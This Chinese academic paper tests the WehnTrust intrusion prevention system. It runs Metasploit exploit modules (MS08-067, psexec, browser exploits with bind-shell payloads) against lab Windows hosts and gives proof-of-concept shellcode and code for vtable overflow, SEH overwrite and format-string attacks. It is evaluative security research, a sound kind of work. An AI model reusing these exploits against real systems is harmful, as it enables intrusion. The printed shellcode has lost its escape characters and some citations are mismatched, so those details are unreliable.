任高明, 喬向東, 楊 仝, 白軍亮
(空軍工程大學電訊工程學院,陜西西安710077)
WehnTrust是一款由微軟安全工程師研發的基于主機的入侵防御系統[1-4],其研發者聲稱WehnTrust主要具有3種特性:地址空間隨機化[5-6]、防止SEH(即結構化異常處理)覆寫攻擊[7],防止格式化字符串[8-9]攻擊,但WehnTrust的防御性能到底如何,卻鮮有人給出書面性的測試報告。本文為了驗證其防御能力,針對性地設計并模擬實現了3個實驗,對此入侵防御系統的性能進行了測試。
圖1 WehnTrust主界面
在WehnTrust的主頁下載安裝包及源代碼,運行后界面如圖1所示。WehnTrust采用visual studio 2008開發環境,包含7個項目:Common,de_DE,en_us,es_ES,NRER,WehnServ,WehnTrust。其中Common為靜態庫,de_DE,en_us,es_ES,NRER為動態鏈接庫,而WehnServ,WehnTrust為應用程序。其中,NRER動態鏈接庫的核心代碼在3個源文件中:NRER.c,SEH.c,format.c。NRER.c負責完成地址空間隨機化;SEH.c實現防止結構化異常處理攻擊;format.c負責實現防止格式化串攻擊。
可以看出,WehnTrust阻止攻擊的主要功能是在NRER.dll實現的。但是,經過大量反復的調試、測試和源碼分析,發現該動態鏈接庫從未被調用,但是動態鏈接庫已經生成。嘗試使用動態加載和隱式調用兩種方法,都以失敗告終。所以,我們認為動態鏈接庫NRER.dll本身的編寫就有問題。這樣,就有充足的理由懷疑其防御攻擊的能力。為此,模擬了C++虛函數攻擊、SEH攻擊、格式化字符串攻擊,對其進行測試。
為了驗證WehnTrust是否對緩沖區溢出具有預期的防御和檢測效果,搭建實驗環境,完成了4類緩沖區溢出實驗。
MetasploitFramework是一個開源攻擊平臺。我們嘗試了幾種攻擊,下面是攻擊過程說明,由于篇幅所限,只給出實驗1的攻擊成功界面截圖。
(1)實驗1:選取漏洞exploit為:windows/smb/ms08_067_netapi,選取有效載荷payload為windows/shell/bind_tcp;目標主機選擇使用Windows XP SP1中文版。
攻擊時,目標主機地址設置為200.200.200.66,目標端口設置為445,強制打開的端口設置為4444。
攻擊成功界面如圖2所示,已經進入了目標主機的命令提示符窗口,此時可以在目標主機上進行任意操作,說明攻擊成功。安裝WehnTrust后攻擊還可以成功。
圖2 攻擊成功界面
(2)實驗 2:選取漏洞 exploit為:windows/smb/psexec;選取有效載荷payload為:windows/shell/bind_tcp;目標主機使用Windows 2000中文版。安裝WehnTrust后仍可以攻擊成功。
(3)實驗3:選取漏洞exploit為:windows/browser/ani_loadimage_chunksize;選取有效載荷payload為:windows/shell/bind_tcp;目標主機使用Windows XP SP1中文版。安裝WehnTrust后仍可以攻擊成功。
(4)實驗4:選取漏洞exploit為:windows/browser/aim_goaway;選取有效載荷payload為:windows/shell/bind_tcp;目標主機使用Windows XP SP1中文版。安裝WehnTrust后仍可以攻擊成功。
(5)實驗5:選取漏洞exploit為:windows/browser/aol_ampx_convertfile;選取有效載荷payload為:windows/shell/bind_tcp;目標主機使用Windows XP SP1中文版。安裝WehnTrust后仍可以攻擊成功。
上述5種成功的攻擊實驗,WehnTrust都不能阻止攻擊行為,甚至根本無法發現。這樣就驗證了對其防御能力的懷疑。為了進一步確定我們的結論,模擬實現了 C++虛函數攻擊、SEH覆寫攻擊、格式化字符串攻擊,進行針對性測試。
首先編寫一個通用的shellcode[10-11],下文中都將用到這個shellcode,它的功能是彈出一個對話框,顯示字符串“success!”。
char shellcode[]=
"xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C"
"x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53"
"x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B"
"x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95"
"xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59"
"x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A"
"xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75"
"xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03"
"x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB"
"x53x68x65x73x73x21x68x73x75x63x63x8BxC4x53x50x50"
"x53xFFx57xFCx53xFFx57xF8x90x90x90x90x90x90x90x90";
關于C++虛函數存在的漏洞,請參考相關文獻,這里不再贅述。當內存中有多個虛表對象時,如果上一對象中的成員變量[12-13]發生溢出,能夠有機會去修改下一對象的虛表指針,就可以通過人為修改,使程序在調用下一個對象的虛函數時,轉而去執行設計好的shellcode。設計的源碼的核心代碼如下:
int*addr=(int*)(overflow.buf-4);
int*my_addr=(int*)(my_overflow.my_buf-4);
int addr_shellcode=(int)&shellcode;
int addr_proc=(int)&addr_shellcode;
*my_addr=addr_proc;
strcpy(overflow.buf,bufoverflow);
Cmy_test*p=&my_overflow;
p->my_test();
程序中通過addr=overflow.buf-4定位到虛表指針1;上一對象的成員變量向下溢出,使其精確地覆蓋掉第2個對象的虛表指針,將其修改為定制的虛表地址;當程序調用第2個對象的虛函數時,會找到偽造的虛表地址,進而找到定制的shellcode,并執行它。本過程如圖3所示。
實驗環境為:WindowsXPSP2,VisualC++6.0Debug版本。按照上述的環境運行,可以得出的結果如圖4所示。
安裝WehnTrust后,WehnTrust修改了注冊表,并生成了系統目錄下的驅動文件baserand.sys,此時,不能阻止實驗成功。重啟計算機后,實驗不能成功。刪除baserand.sys,再次重啟計算機后,實驗可以正常進行,WehnTrust并不能阻止,由此可以說明,正是baserand.sys阻止了實驗的正常進行。
關于SEH攻擊[14]的詳細原理,請參考相關文獻。本次實驗使用的shellcode1中的“…shellcode…”部分為上文用到的shellcode內容。測試代碼如下:
圖3 攻擊C++虛函數過程
圖4 C++虛函數攻擊成功界面
char shellcode1[]=
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"… shellcode…"
"x90x90x90x90"
"x98xFEx12x00";//shellcode1的地址
void test(shellcode1)
{char buf[200];
int zero=0;
__try
{strcpy(buf,shellcode1);
zero=4/zero; }
__except(MyExceptionhandler()){} }
對代碼說明如下:
(1)函數test()中使用了函數strcpy()創造一個典型的棧溢出漏洞;除零操作zero=4/zero會產生一個異常。
(2)由于函數中使用了_try{}_except{},編譯器將會在test的函數棧幀中安裝一個SEH結構來實現異常處理。
(3)當strcpy操作沒有產生溢出時,除零操作的異常將最終被MyExceptionhandler函數處理。
(4)當strcpy操作產生溢出,并精確地將棧幀中的SEH異常處理句柄修改為shellcode的入口地址時,操作系統將會錯誤地使用shellcode去處理除零異常。
本實驗的關鍵在于確定棧幀中SEH回調句柄的偏移,然后布置緩沖區,精確地淹沒這個位置,將該句柄修改為shellcode的起始位置。使用環境為:Windows2000,VisualC++6.0Release版本。SEH攻擊過程如圖5所示,攻擊成功界面如圖6所示。
圖5 SEH攻擊過程
圖6 SEH攻擊成功界面
安裝WehnTrust后的實驗結果與攻擊C++虛函數的實驗結果相同,也就是說,baserand.sys驅動文件阻止了攻擊行為。
格式化字符串漏洞[15]的有關內容請參考相關文獻。在本次實驗中,采用最常用的printf()函數。源代碼如下:
int p=111,q=222;
printf("p=%d,q=%b",p,q);
printf(" p=%d,q=%d,t=%d ");
int m=0;
printf("寫入之前:m=%d ",m);
printf("success:%d%n ",m,&m);
printf("寫入之后:m=%d ",m);
上面代碼中,第1個printf()函數的調用是正確的,而第2個printf()函數則缺少了輸出數據的變量列表。
本次實驗環境為:WindowsXPSP2,Release版本。編譯運行后,實驗結果如圖7所示。
圖7 格式化串實驗截圖
第2個printf()函數編譯器并沒有報錯,程序可以正常運行,但結果為“p=4223088,q=111,t=222”。使用OllyDbg調試后得到,第1次調用printf()時,參數按照從右向左的順序入棧。第2次調用發生時,由于參數中少了數據列表部分,故只壓入格式控制符參數。這時棧中狀態如圖8所示。
圖8 printf調用時的內存格局
由于printf()函數調用時,沒有給出“輸出數據列表”,但系統仍按照“格式控制符”所指明的方式輸出棧中緊隨其后的兩個DWORD。故4223088的十六進制形式為0x00407070,是指向格式控制符“p=%d,q=%d,t=%d ”的指針;111是殘留下來的變量p的值,而222是殘留下來的q的值。
第4個printf()函數中使用了控制符“%n”,此控制符用于把當前輸出的所有數據的長度寫入一個變量中去。這條語句會將調用最終輸出的字符串長度寫入變量m中,“success:0”長度為9,所以這次調用后m將被修改為9。安裝上WehnTrust之后,程序依然可以運行,并且結果正常。此實驗表明WehnTrust并不能阻止格式化串攻擊。格式化串漏洞原理如圖9所示。
圖9 格式化串漏洞原理
通過對WehnTrust源碼的分析及調試,使用緩沖區溢出工具 Metasploit Framework進行了 5種攻擊實驗,并針對WehnTrust所具有的特性,設計了3種針對性的攻擊實驗,可以得出如下結論:8次攻擊實驗,只有兩次攻擊被baserand.sys阻止,但WehnTrust沒有檢測到攻擊行為;刪除baserand.sys后,WehnTrust沒有任何防御攻擊的能力。因此,可以看出,WehnTrust并不完全具備其研發者所聲稱的防御特性,只能的阻止部分攻擊。盡管如此,但該開源項目所提出的思想及設想很有價值,對其進行研究并在此基礎上開發、擴展,將是下一步的工作重點。
[1]wehnus.WehnTrust[OL].http://www.wehnus.com/products.pl,2006.
[2]吳海燕,蔣東興,程志銳,等.入侵防御系統研究[J].計算機工程與設計,2007,28(24):5844-5866.
[3]李小平,王意潔,王勇軍.入侵防御系統的研究與設計[J].微計算機信息,2006,22(11-3):88-90.
[4]Wang Jie,Zheng Xiao,Liu Ya-bin.Complete rule base of intrusion prevention system[J].Computer Engineering and Application,2009,45(9):88-91.
[5]ShachamH.Ontheeffectivenessofaddress-spacerandomization[C].Washington,DC:Proceedings of the 11th ACM Conference on Computer and Communications Security,2004:53-61.
[6]LiLixin,JamesE just.Address-spacerandomization for windows systems[C].Virginia:Defense Advanced Research Project Agency,2007:72-79.
[7]Nagy B.SEH(structured exception handling)security changes in XP SP2 and SP1[C].Phoenix:eEye Digital Security,2006:60-66.
[8]James E S,Ravi N.Virtual machines versatile platforms for systems and process[M].San Francisco:Morgan Kaufmann,2006:12-49.
[9]Wei Li,Tzi-cker Chiueh.Automated format string attack prevention for Win32/X86 binaries[C].Miami:23rd Annual Computer Security Applications Conference,2007:398-407.
[10]王清.0day安全:軟件漏洞分析技術[M].北京:電子工業出版社,2008:72-79.
[11]Meyers S.More effective C++[M].北京:電子工業出版社,2006:77-94.
[12]Roos T,Wetting H,Grunwald P.On discriminative bayesian network classifiers and logistic regression[J].Machine Learning,2005,59(3):267-296.
[13]CWE,Vulnerability type distributions in CVE[OL].http://cwemitre.org/documents/vulntrends/index.htm#introduction,2007.
[14]Pietrek,Matt.A crash course on the depths of Win32 structured exception handling[OL].http://www.microsoft.com/msj/0197/exception/excep-tion.aspx,2006.
[15]Chen S,Tang Y,Stateful D.Dos attacks and targeted filtering[J].Journal of Networking and Computer Applications,2007,30(3):20-26.